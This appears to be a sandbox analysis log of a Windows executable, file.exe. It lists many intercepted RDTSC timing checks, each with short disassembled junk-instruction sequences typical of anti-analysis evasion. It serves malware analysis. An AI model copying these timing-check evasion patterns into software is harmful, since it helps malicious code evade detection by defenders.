Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590CB2 second address: 590D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F40B477E788h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jc 00007F40B477E792h 0x00000029 jp 00007F40B477E78Ch 0x0000002f mov edx, dword ptr [ebp+1244F401h] 0x00000035 movzx ecx, dx 0x00000038 push 00000004h 0x0000003a sub di, 82F1h 0x0000003f nop 0x00000040 jmp 00007F40B477E795h 0x00000045 push eax 0x00000046 push edi 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590D14 second address: 590D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590D18 second address: 590D1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5845 second address: 5E584B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4A39 second address: 5E4A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F40B477E786h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4BA5 second address: 5E4BB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 js 00007F40B515FBF6h 0x0000000d jno 00007F40B515FBF6h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4BB9 second address: 5E4BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F40B477E786h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4BC3 second address: 5E4BF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F40B515FC05h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4EBB second address: 5E4EC7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40B477E786h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E530E second address: 5E532A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40B515FBF6h 0x0000000a jmp 00007F40B515FC01h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E532A second address: 5E5330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5330 second address: 5E5336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5336 second address: 5E5368 instructions: 0x00000000 rdtsc 0x00000002 js 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F40B477E798h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F40B477E78Ch 0x00000019 jnl 00007F40B477E786h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5368 second address: 5E5389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F40B515FC01h 0x0000000c popad 0x0000000d jo 00007F40B515FBFCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECBFC second address: 5ECC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E78Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECC0D second address: 5ECC15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECC15 second address: 5ECC1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAC5C second address: 5EAC60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAC60 second address: 5EAC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40B477E793h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAC79 second address: 5EAC8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAC8C second address: 5EACAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E792h 0x00000009 je 00007F40B477E786h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EACAC second address: 5EACD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F40B515FBF6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F40B515FBF6h 0x00000014 jmp 00007F40B515FC01h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB1D8 second address: 5EB1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB1DC second address: 5EB1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F40B515FBF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F40B515FBFCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB4CC second address: 5EB4E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E797h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB4E9 second address: 5EB4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC59E second address: 5EC5BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E795h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC5BB second address: 5EC5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC5C1 second address: 5EC5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC872 second address: 5EC885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F40B515FBF6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F40B515FBF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC885 second address: 5EC88B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC88B second address: 5EC891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F342D second address: 5F343E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F40B477E786h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F71D2 second address: 5F71E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F40B515FBF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6598 second address: 5F659C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F659C second address: 5F65A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6715 second address: 5F6719 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6719 second address: 5F6744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B515FBFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F40B515FC06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6B6A second address: 5F6B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6B6F second address: 5F6B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B515FC03h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6EB3 second address: 5F6ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F40B477E791h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCA63 second address: 5FCA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCA6D second address: 5FCA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jl 00007F40B477E798h 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F40B477E786h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCA81 second address: 5FCA85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD021 second address: 5FD025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD025 second address: 5FD02B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDFA3 second address: 5FDFC4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40B477E790h 0x00000008 jmp 00007F40B477E78Ah 0x0000000d pushad 0x0000000e jnp 00007F40B477E786h 0x00000014 jnp 00007F40B477E786h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6146DD second address: 6146E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F40B515FBF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6146E7 second address: 6146EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6146EB second address: 6146F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6146F5 second address: 6146F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61824C second address: 618259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F40B515FBF6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622FD5 second address: 622FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622FD9 second address: 622FDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628433 second address: 62846E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F40B477E786h 0x0000000a popad 0x0000000b jns 00007F40B477E788h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 jmp 00007F40B477E799h 0x00000019 push edi 0x0000001a pop edi 0x0000001b pop ebx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jns 00007F40B477E78Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62846E second address: 628472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FA13 second address: 62FA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007F40B477E786h 0x0000000e jne 00007F40B477E786h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FB6A second address: 62FB70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FB70 second address: 62FB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FB74 second address: 62FB82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FF66 second address: 62FF74 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B477E788h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FF74 second address: 62FF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63012C second address: 630139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630139 second address: 63013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63013F second address: 63015F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F40B477E793h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63015F second address: 630164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630164 second address: 63016C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63016C second address: 630170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630445 second address: 630449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6354B2 second address: 6354B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6354B8 second address: 6354C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6354C1 second address: 6354E0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F40B515FC09h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6354E0 second address: 6354E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644627 second address: 644639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B515FBFDh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642433 second address: 64243D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64243D second address: 642441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650337 second address: 650343 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650343 second address: 650347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539A1 second address: 6539A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539A7 second address: 6539AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6553A0 second address: 6553A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6553A5 second address: 6553BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F40B515FBF6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jl 00007F40B515FBF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E039 second address: 66E041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E041 second address: 66E045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E045 second address: 66E049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E882 second address: 66E888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EB29 second address: 66EB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F40B477E786h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EB36 second address: 66EB41 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007F40B515FBF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6706A0 second address: 6706BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F40B477E786h 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F40B477E786h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6706BF second address: 6706DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F40B515FC08h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673082 second address: 673086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673086 second address: 6730A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007F40B515FC00h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673145 second address: 673149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673149 second address: 673166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B515FC09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6733E3 second address: 6733E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6733E9 second address: 6733ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6733ED second address: 6733F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6733F1 second address: 673403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F40B515FBFEh 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6768D9 second address: 6768F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F40B477E786h 0x00000009 pop edx 0x0000000a jmp 00007F40B477E78Ah 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450387 second address: 5450399 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450399 second address: 545039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545039F second address: 54503A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
